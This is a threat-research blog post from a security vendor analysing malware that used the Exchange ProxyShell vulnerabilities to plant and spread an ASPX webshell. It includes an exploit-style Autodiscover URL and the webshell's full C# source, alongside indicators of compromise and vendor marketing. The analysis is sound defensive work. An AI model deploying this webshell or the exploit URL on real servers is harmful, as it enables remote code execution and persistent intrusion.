Our Analysis of an Exchange ProxyShell Malware
Threat Researchers recently discovered several new Microsoft Exchange vulnerabilities in ProxyShell that allow attackers to gain remote-code execution capabilities. While these vulnerabilities were disclosed to Microsoft and mostly patched prior to the technical details of the vulnerabilities becoming public, many Exchange servers were left unpatched and have since been compromised.
Exploits of Microsoft Exchange are an ongoing concern, and many new threats are seen exploiting these vulnerabilities to gain persistence on Exchange servers. We recently found malware that had been designed to exploit Microsoft Exchange in a clients’ environment. As with other known and unknown malware, Deep Instinct prevented it before it could execute and cause issues.
However, this malware was quite interesting – enough to warrant a deeper investigation. The following is our analysis.
The ProxyShell Vulnerabilities
Before we begin our examination, let’s first review ProxyShell.
ProxyShell consists of three vulnerabilities that, when combined, allow an attacker to run arbitrary commands on a Microsoft Exchange server without the need for authentication. This is a particularly dangerous attack vehicle because it allows access without credential theft, making it that much easier for an attacker to gain access to a targeted environment.
The first ProxyShell vulnerability, CVE-2021-34473, resides in Microsoft’s Explicit Login mechanism and allows a threat actor to interface with arbitrary backend URLs as NT Authority/System simply by passing the string “Autodiscover/Autodiscover.json” in the Email field of a URL of this form:
https://exchange/autodiscover/autodiscover.json?@mycorp.com/?Email=autodiscover/autodiscover.json%3f@mycorp.com
However, this action is not enough to run any actual commands, since the system user does not have an email account. Email account access is required to use Exchange PowerShell Remoting, a built-in feature designed to help with mailbox-related administrative activities. To resolve this issue, the threat actor can leverage the PowerShell vulnerability CVE-2021-34523 to downgrade themselves to an admin.
Next, the attacker can run a command on the server to gain persistent access, allowing them to deploy additional malware in the future. In order to do this, they need to write a backdoor to a file, an action that can be achieved by taking advantage of the CVE-2021-31207 vulnerability.
The Little .NET that Tried: Our Analysis of a ProxyShell Malware
As mentioned at the outset of this blog, we recently detected and prevented an interesting piece of malware in a client’s environment that was designed to deploy an ASPX webshell into the clients’ Exchange server that would allow the deployment of additional malware in the future. The malware in question was a .NET sample, which made it easy to analyze using DNSpy or any other .NET disassembler.
The malware’s goal is to drop an ASPX webshell on the Exchange server, create a virtual directory so it could be accessed from the web, and make the shell accessible from all other Exchange servers in the domain. The executable uses two additional PEs that are stored in its code as base64 encoded strings and are invoked in a fileless manner by the main executable. These are then loaded into memory, making it more difficult for anti-malware products to detect the attack.
Embedded PE #1 —“DropHell”
The first encoded PE, saved in the variable “rawAssembly,” is responsible for dropping the shell as an ASPX file and creating the virtual directory. The main executable calls one of its methods,“DropHell,” using the following command:
The variable “array” contains the C# webshell, encoded in base64, "shAGEu.aspx." This is the name of the ASPX file in which to store it and the names of folders that will be used in the physical and virtual paths.
The “DropHell” method decodes the base64 encoded webshell, writes it into C:\ProgramData\ZING\pdILh\shAGEu.aspx (the folders “ZING” and “pdILh” are created by the method) and creates the virtual directory “/auth/笔/pdILh” that points to “C:\ProgramData\ZING\pdILh.” The path “C:\ProgramData\ZING” was seen in other ProxyShell sample analysis, such as the one Huntress had performed.
It is uncommon for an ASPX file to reside under the “ProgramData” directory, which is probably why the attacker chose to drop the shell outside the ASP directories, which are more frequently monitored for suspicious activity.
After the backdoor is created, the script moves to protect it by making ZING and its content read-only hidden system artifacts and adding access rules that prevent users from doing nearly anything to the files besides reading and executing the webshell.
If that wasn’t enough, the malware uses Microsoft’s “icacls” "NT Service\TrustedInstaller" as the owner of “C:\ProgramData\ZING\pdILh” and anything in it, and grants full SYSTEM access to its content. Once this has been done, the control goes back to the main executable, which checks the returned value to see if everything went as planned. It then calls the “Run” command of the second base64 encoded PE that is stored in a variable called “rawAssembly2.”
Embedded PE #2 — Spreading the Shell
This PE’s goal is to spread the backdoor to as many Exchange servers as it can find in the domain.
First, it uses LDAP to find additional Exchange servers by looking for the “Exchange servers” group.
If it comes back empty handed from that attempt, it will attempt to find “sAMAccountName” values of Exchange-related services.
Then, it creates a virtual directory on each of the found servers that point to the previously created “C:\ProgramData\ZING\pdILh” directory (all servers point to the exact same directory on the first infected machine).
And with that, the attack ends.
The Backdoor
The dropped ASPX file contains the following C# code, which simply creates an XSL transform webshell:
<%@ Page Language="C#" %><%
var GkggV=new System.Xml.XmlDocument();
GkggV.LoadXml(@"<root>1</root>");
var Nlcch=new System.Xml.XmlDocument();
Nlcch.LoadXml(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request["Redacted"])));
var DzYqa=new System.Xml.Xsl.XslCompiledTransform();
DzYqa.Load(Nlcch,System.Xml.Xsl.XsltSettings.TrustedXslt,new System.Xml.XmlUrlResolver());
DzYqa.Transform(GkggV,null,new System.IO.MemoryStream());
Conclusion
Having a webshell on your Exchange server is extremely dangerous, especially in the hands of a savvy attacker. ProxyShell vulnerabilities have been used to install numerous backdoors over the past few months, and though none of the guests that came through these doors were welcome, some made a worse impression on their hosts than others, LockFile ransomware we detailed being a prime example.
Fortunately, Deep Instinct successfully prevents attacks of this nature, detecting and stopping them before they can enter a customers’ environment. Deep Instinct prevents the malicious payloads regardless of the deployment method exploited. Malicious payloads are stopped pre-execution – even when attempting to inject or run the shellcode in memory. Our deep learning framework allows Deep Instinct to prevent >99% of unknown threats. It is also incredibly precise, ensuring false positives remain <0.1%
While patching is critical, Deep Instinct is here to prevent unknown threats. We predict security risks others can’t see and prevent threats before they execute in <20ms.
If you’d like to learn more about our malware, ransomware, and zero-day prevention capabilities – including our industry best $3M no-ransomware guarantee – we’d be delighted to give you a demo.
Indicators of Compromise
SHA256 Values
742fd14cd1d53e3bd7a38e7f90956b3dc4185c2a31fccd0afc673cb98bbbefe6- the main executable
8f5156a457e287c2c60239d243fa8781fedb69b85b86f15e04b43b96abc53bc4- embedded PE #1 (“DropHell”)
eb17d105dd5132ada75485963e6dbb344b0fe3109a9a583cebc0bf1795352185- embedded PE #2
1f6aa7ddfc249e7a7f4c9fa2dadee249009f4d20676c3c09effe23dbe81c3be3- the ASPX webshell file
Filenames and Paths
shAGEu.aspx
C:\ProgramData\ZING
pdILh
“/auth/笔/pdILh (virtual path)